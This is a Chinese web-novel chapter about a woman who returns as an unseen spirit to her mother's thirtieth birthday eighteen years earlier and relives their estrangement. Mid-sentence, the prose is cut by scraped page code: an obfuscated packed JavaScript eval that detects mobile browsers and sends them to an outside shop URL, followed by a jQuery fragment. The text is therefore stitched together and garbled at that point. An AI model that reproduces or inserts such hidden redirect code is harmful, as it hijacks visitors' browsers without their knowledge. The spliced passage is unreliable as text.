和程月蛮关系最糟糕的那几年，所有的不满和委屈，她也只敢偷偷在心底抱怨，或者在网络上用匿名账号吐槽，或者分享给用同样经历的友人。
默默倒完苦水，就是再讨厌，第二天也能装得像是没事人。
“程月蛮，我最讨厌你了。”
这句话像带着回响，放大了数倍。
竟然真的说了出来。
扎着单马尾，瘦弱的小程蝶气势汹汹地撂下了这句，便一口气向她奔来。
五步、三步、一步……
程蝶不可置信地低头——那个十八年前的自己，径直地穿过了她的身体，向门外奔去。
“砰——”
重重地砸门声，让背对着她的程月蛮狠狠颤了颤。
而程蝶的灵魂也像是随之抽走了一般，眼神空洞地看着面前的画面。
客厅里只剩下程月蛮瘦弱地背影，不需要去美发店染色的黑色短发，据说是那个年代曾经红极一时的沙宣。
粉蓝色的格子窗帘，没记错的话，应该是她淘汰下来的旧床单。
桌面上，摆着一个用裱花歪歪扭扭地写着“祝妈妈三十岁生日快乐”的蛋糕。
蜡烛燃烧到了尽头，房间彻底陷入了黑暗。
而程蝶心里却突然亮起了一束光。
——她竟突然来到了程月蛮的三十岁，她的十二岁。
来到了十八年前。
-
追忆过往的时候，人总是会模仿疼痛文学，用起不知道从什么时候开始这样的句式。
可她却清楚——
是从十二岁那年。
那年她的人生开启了一道明显的分界线。
撒谎是那时候学会的，和程月蛮的隔阂从那里开始，性格也是从那个时间节点发生了改变。
以至于，在长大后无数次面对“你想回到什么时候”这种没什么实质意义的的问题时，她总能坚定且清晰的给出答案。
“十二岁。”
去做什么？
——拯救自己，培养自己，改变自己的性格，或许……
未来不会这么辛苦，也不会这么糟。
可真的回到了十二岁，似乎比起想要做什么，更多的是茫然。
程蝶低头看着自己的掌心，试探着握紧，又迟疑着放开。
她无法忽略刚才那一幕，十二岁的小蝶就那么从她身体中间穿了过去，就像——她只是一个虚型，是不该存在的意识体。
心口莫名传来的疼痛彰显着存在感。她下意识按住，胸腔内却没有东西在跳动，甚至连一点温度都察觉不到。
到底是什么呢？程蝶想不明白。
她求助般的把视线转到了程月蛮身上，和以往一样遇到了不理解的难题，下意识向母亲求助——尽管程月蛮也不一定能给予答案。
楼道灯亮了又灭。
蜡烛彻底燃尽了，清冷的月色从窗帘的缝隙里落在了程月蛮的肩上，
程蝶慢慢睁大眼，那个原本应该跳动的地方，在一片空洞的死寂里，慢慢泛滥着奇异的情绪。
是痛吗？
她从未见过这样的程月蛮。
无论是年轻的状态，还是这种萧索的背影。
那个“蛮”字，又变成了荒蛮的蛮。
明黄色的连身裙也遮挡不住直观的憔悴。
心口堵塞的奇异感觉让程蝶难受得想要掉眼泪。
是在心疼她吗？
应该……不是啊。
明明更委屈的，是那个尝试讨好妈妈，欣喜买了礼物为她庆祝生日，最后却被扫了兴致，被教育学生就该把时间都用在学习上，与其做这些，还不如下次考试多进步几名……衍生出了一大段关于未来的人生规划一二三次。
这点上程月蛮似乎一点没变。
程蝶抿抿唇，突然有点想笑。
未来，三十岁的她也时常面对这样的困境。攒钱为程月蛮买了代步车，方便工作，最后反被教育，“你怎么这个时候买？价格贵了吧？你付叔叔在4S店认识的有人，你也不知道找人家帮帮忙，有这钱还不如先做做理财……混油不如买新能源，你是不知道……”
又是一长串的科普，原本的性质也在逐一念叨中变得支离破碎。
“好好好，我知道了。”
“行行行，听你的。”
“嗯嗯嗯，都行，都好。”
这是三十岁的敷衍。
而十二岁的小蝶，只会觉得自己是个不被爱的小孩。为什么啊，做什么妈妈都不在意，都得不到夸奖。
为什么连惊喜都破碎。
童年的阴影并不会随着时间消逝。反而会在长大后的一年一年里的，变得更剧烈，可以暂时不在意，但却难以释怀。
时过境迁，好像说什么都晚了。后来在无数次想要离开家的时候，她都会想到那个孤寂、黑暗的夜晚。
十二岁的她赌气跑了出去，期待着会被妈妈追上，也不需要道歉，只要哄一哄，她就一定会跟着回去。
然而那时候的程月蛮并不在意，也没有把她的赌气放在心里，更没有出门找寻，于是她独自在夜色里来来去去。
因为怕黑，她抱着腿蹲在路灯下期待了一遍又一遍，直到跳广场舞的阿姨们全都散开，直到夜班的环卫工人收拾完毕下班……她在好心人的询问里慢慢红了眼，倔强的摇了摇头，逞强才没有离家出走。
可最后。还是被人劝说着，回到了家附近的公园。
送她的环卫阿姨离开后，她握着钥匙，看着黑暗的房间，还以为程月蛮还在外面找她，迟迟未归，她既内疚又懊悔，害怕出门后会再次错过，于是她就端坐在沙发上等了又等，直到睡着。
清晨她被饭香味唤醒，睁眼，她还在沙发上。
餐桌上的食物早就冷了，她等了一夜，没吃一口，早上肚子因为香味咕噜咕噜地叫了起来。
而放下钥匙的程月蛮则诧异地瞥了她一眼，“你是没房间吗？怎么不回房间睡？”
一盆冷水狠狠泼了下来。
她不安地起身，想道歉是自己不好，不该跑远的，一定很担心了吧？满分作文里都是这样写的。
而程月蛮则是揉着脖子，打了个哈欠，“累死我了，昨晚在店里忙了一夜，我去睡会。”
走动间，程月蛮身上不好闻的烟味就这么散了出来。
她下意识往后退了一步，满脸苍白。
程月蛮睨了她一眼，“别发呆，快吃饭，吃完赶快去补习班。”
“今天休息。”她低着头，小声挤出这句话。
被程月蛮打包的带回的小笼包和豆浆还在散发着幽幽的香气。
是月满网吧门口的那一家没错，程月蛮整晚都没回来。
大抵是那一刻，彻底心死，十二岁的小孩，就这么笃定她不被爱，
心结像一根刺，狠狠扎了下来。随着时间，和皮肉越发紧密相贴。到最后彻底融合成了她的一部分。
大人却总
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214198|151156||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是不在意，一句过来吃饭，便把那一日翻篇。
而现在，她又穿过了时间线，又回到了那痛苦的一夜。却看到了故事的另一面。
房间里传来了小声啜泣的声音。
——竟然是程月蛮哭了。
印象里，她好像就没有看到过程月蛮的眼泪，任何时候那个女人都是一副对什么都满不在乎的样子，最讨厌的也就是她这一点。
外婆离世时还能大办酒席和人谈笑风生，生意出了问题睡一觉后再继续。
那年她去外地读书，赵姨抱着她哇哇大哭，像是今后再也不会相遇，可程月蛮还是云淡风轻，就连火车都没送。
可这会，竟然看到了程月蛮的眼泪。
不知道是不是梦境带来的连锁反应，感官在此时放大，就连眼泪砸落在手背的声音都无比清晰。
要做什么，去安慰吗？可程月蛮需要吗？
恐怕那个女人，这会的眼泪并非源于伤感，而是气闷小小程蝶竟敢忤逆自己。
更何况——
她看了看自己那双更成熟，还贴着医用胶带的手，眼底尽是茫然。
她能触碰到程月蛮吗？是会像刚才那个小时候的自己那样穿过，还是像触碰一团空气。
程月蛮能看到她吗？
“咻——”
一个抱枕朝着她砸来。刚才的猜测得到了证实，她低头，眼睁睁地看着抱枕从自己的肩侧穿过，又重重砸上了玄关处的挂画。
“当啷”一声，画框掉在地上，摔得四分五裂，而被程月蛮藏在画框后的各种收据、花花绿绿的纸条，落了一地。
程蝶下意识瞥了一眼，还没看清内容，就被接二连三砸来的碗碟、杯子、遥控器吸引了注意力。
程月蛮怒视着她的方向，像是一头发狂的母狮子，狼狈地拿都什么就丢什么。
咻咻咻——
碗碟、杯子、遥控器接二连三的穿过了她的身体，在她的身后，在地面上，碎成一片片。
“你是谁？！”程月蛮几乎是咆哮般的喊出这一句，身子微微曲起，满是防备的意味，额头上不知何时沁出了一层薄汗，湿哒哒的，把平时打理的很仔细的短发黏在了脸上。
“你是谁！”
“我……”程蝶试着张口。
程月蛮的声音却猛然拔高，“别说话，双手抱头，给我蹲到门口。”
程蝶：……
小时候有段时间母女两人很喜欢看一些TVB警匪片，那时母女矛盾还没有僵化，程蝶写完作业，会跟着程月蛮一起坐在网吧前台，用网管的电脑，开最小窗看电视剧。
那会儿影视APP还没有现在这么五花八门，也不用付费，她看得毫无负担，但偶尔也会被程月蛮拍打后背，提醒保持距离，太近会坏了视力。
角色扮演偶尔也会来，大部分时间，都是让程月蛮来扮演穷凶极恶的坏蛋，而程蝶则扮演正义的女警官。
她台词记得一般，最常说的，就是“别说话，双手抱头，蹲到门口。”
程月蛮倒是用得更烂。
可有什么用呢，这种毫无威慑力的话，倘若她真的是坏人，那么眼下做什么都来不及了吧？
下意识的吐槽挂在嘴边，但抬头，看着程月蛮颤抖的腿和因为用力握刀而有些发白的指关节，最后还是选择了配合。
原来……她也是会害怕的啊。
程蝶突然有点感慨，动了动唇，想解释，可那几个关键字眼却始终无法说出来。